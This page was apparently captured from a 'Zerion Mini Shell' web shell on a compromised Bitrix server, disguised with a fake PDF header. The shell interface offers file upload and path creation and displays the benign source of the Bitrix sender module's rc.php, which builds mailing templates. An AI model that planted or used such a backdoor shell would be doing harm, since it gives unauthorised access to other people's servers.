%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /home/bitrix/www/bitrix/modules/sender/lib/preset/templates/
Upload File :
Create Path :
Current File : /home/bitrix/www/bitrix/modules/sender/lib/preset/templates/rc.php

<?php
/**
 * Bitrix Framework
 * @package bitrix
 * @subpackage sender
 * @copyright 2001-2012 Bitrix
 */
namespace Bitrix\Sender\Preset\Templates;

use Bitrix\Main\Localization\Loc;

use Bitrix\Sender\Entity\Segment;
use Bitrix\Sender\Integration\Sender\Holiday;
use Bitrix\Sender\Internals\PrettyDate;
use Bitrix\Sender\Templates\Category;
use Bitrix\Sender\UI;
use Bitrix\Sender\Templates\Type;
use Bitrix\Sender\Dispatch;

Loc::loadMessages(__FILE__);

/**
 * Class Rc
 * @package Bitrix\Sender\Preset\Templates
 */
class Rc
{
	const IMAGE_DIR = '/images/sender/preset/events/';

	/**
	 * Return base templates.
	 *
	 * @param string|null $templateType Template type.
	 * @param string|null $templateId Template ID.
	 * @param string|null $messageCode Message code.
	 * @return array
	 */
	public static function onPresetTemplateList($templateType = null, $templateId = null, $messageCode = null)
	{
		if($templateType && $templateType !== 'BASE')
		{
			return array();
		}
		if($messageCode && !in_array($messageCode, self::getProvidedMessageCodes()))
		{
			return array();
		}

		return self::getTemplates($templateId, $messageCode = null);
	}

	private static function getProvidedMessageCodes()
	{
		return [
			'rc_lead',
			'rc_deal',
		];
	}

	private static function getListByType()
	{
		$list = [
			[
				'CODE' => 'birthday',
				'SEGMENT_CODES' => ['case_crm_client_birthday', 'case_crm_lead_birthday'],
				'HINT' => Loc::getMessage('SENDER_PRESET_TEMPLATE_RC_HINT_EVERY_DAY'),
				'DISPATCH' => [
					'METHOD_CODE' => Dispatch\Method::SCHEDULE,
					'TIMES_OF_DAY' => '09:00',
					'DAYS_OF_WEEK' => "1,2,3,4,5,6,7",
				]
			],
			[
				'CODE' => 'nps',
				'SEGMENT_CODES' => ['case_crm_client_aft_deal_clo'],
				'HINT' => Loc::getMessage('SENDER_PRESET_TEMPLATE_RC_HINT_NPS'),
				'DISPATCH' => [
					'METHOD_CODE' => Dispatch\Method::SCHEDULE,
					'TIMES_OF_DAY' => '09:00',
					'DAYS_OF_WEEK' => "1,2,3,4,5,6,7",
				]
			],
		];

		foreach ($list as $index => $item)
		{
			$code = strtoupper($item['CODE']);
			$msgPrefix = 'SENDER_PRESET_TEMPLATE_RC_' . $code . '_';
			foreach (['NAME', 'DESC', 'TITLE', 'TEXT'] as $key)
			{
				$item[$key] = Loc::getMessage($msgPrefix . $key);
			}

			$list[$index] = $item;
		}

		foreach (Holiday::getList() as $holiday)
		{
			$code = $holiday->getCode();
			$name = $holiday->getName();
			$formattedDate = $holiday->formatDate();

			$item = [
				'CODE' => $holiday->getCode(),
				'SEGMENT_CODES' => ["case_crm_client_$code"],
				'HINT' => Loc::getMessage(
					'SENDER_PRESET_TEMPLATE_RC_HINT_ONE_DAY',
					[
						'%run_date%' => PrettyDate::formatDate($holiday->getDateFrom()),
						'%date_from%' => PrettyDate::formatDate($holiday->getDateFrom()),
						'%date_to%' => PrettyDate::formatDate($holiday->getDateTo()),
					]
				),
				'DISPATCH' => [
					'METHOD_CODE' => Dispatch\Method::SCHEDULE,
					'TIMES_OF_DAY' => '09:00',
					'DAYS_OF_WEEK' => "1,2,3,4,5,6,7",
					'DAYS_OF_MONTH' => $holiday->getDay(),
					'MONTHS_OF_YEAR' => $holiday->getMonth(),
				]
			];

			$msgPrefix = "SENDER_PRESET_TEMPLATE_RC_HOLIDAY_";
			foreach (['NAME', 'DESC', 'TITLE', 'TEXT'] as $key)
			{
				$item[$key] = Loc::getMessage(
					$msgPrefix . $key,
					[
						'%holiday_name%' => $name,
						'%holiday_date%' => $formattedDate,
					]
				);
				$item[$key] = Texts::replace($item[$key]);
			}

			$list[] = $item;
		}

		return $list;
	}

	private static function getTemplates($templateId = null, $messageCode = null)
	{
		$messageCodes = $messageCode ? array($messageCode) : self::getProvidedMessageCodes();

		$result = [
			[
				'ID' => 'empty',
				'TYPE' => Type::getCode(Type::BASE),
				'CATEGORY' => Category::getCode(Category::CASES),
				'MESSAGE_CODE' => $messageCodes,
				'VERSION' => 2,
				'HOT' => false,
				'ICON' => BX_ROOT . self::IMAGE_DIR . "empty.png",

				'NAME' => Loc::getMessage('SENDER_PRESET_TEMPLATE_RC_EMPTY'),
				'DESC' => Loc::getMessage('SENDER_PRESET_TEMPLATE_RC_EMPTY_DESC'),
				'FIELDS' => [
					'COMMENT' => [
						'CODE' => 'COMMENT',
						'VALUE' => '',
					]
				],
			]
		];
		foreach (self::getListByType() as $item)
		{
			$originalCode = strtolower($item['CODE']);
			$code = 'rc_' . strtolower($item['CODE']);
			if($templateId && $code !== $templateId)
			{
				continue;
			}

			$segmentTiles = UI\TileView::create();
			$segments = Segment::getList([
				'select' => ['ID', 'NAME'],
				'filter' => ['=CODE' => $item['SEGMENT_CODES']]
			]);
			foreach ($segments as $segment)
			{
				$segmentTiles->addTile($segment['ID'], $segment['NAME']);
			}

			$result[] = array(
				'ID' => $code,
				'TYPE' => Type::getCode(Type::BASE),
				'CATEGORY' => Category::getCode(Category::CASES),
				'MESSAGE_CODE' => $messageCodes,
				'VERSION' => 2,
				'HOT' => $item['HOT'],
				'ICON' => BX_ROOT . self::IMAGE_DIR . "$originalCode.png",

				'NAME' => $item['NAME'],
				'DESC' => $item['DESC'],
				'HINT' => $item['HINT'],
				'FIELDS' => [
					'TITLE' => [
						'CODE' => 'TITLE',
						'VALUE' => $item['TITLE'],
					],
					'COMMENT' => [
						'CODE' => 'COMMENT',
						'VALUE' => $item['TEXT'],
					],
					'ALWAYS_ADD' => [
						'CODE' => 'ALWAYS_ADD',
						'VALUE' => 'Y',
					],
				],
				'SEGMENTS' => $segmentTiles->getTiles(),
				'DISPATCH' => $item['DISPATCH'],
			);
		}

		return $result;
	}
}

Zerion Mini Shell 1.0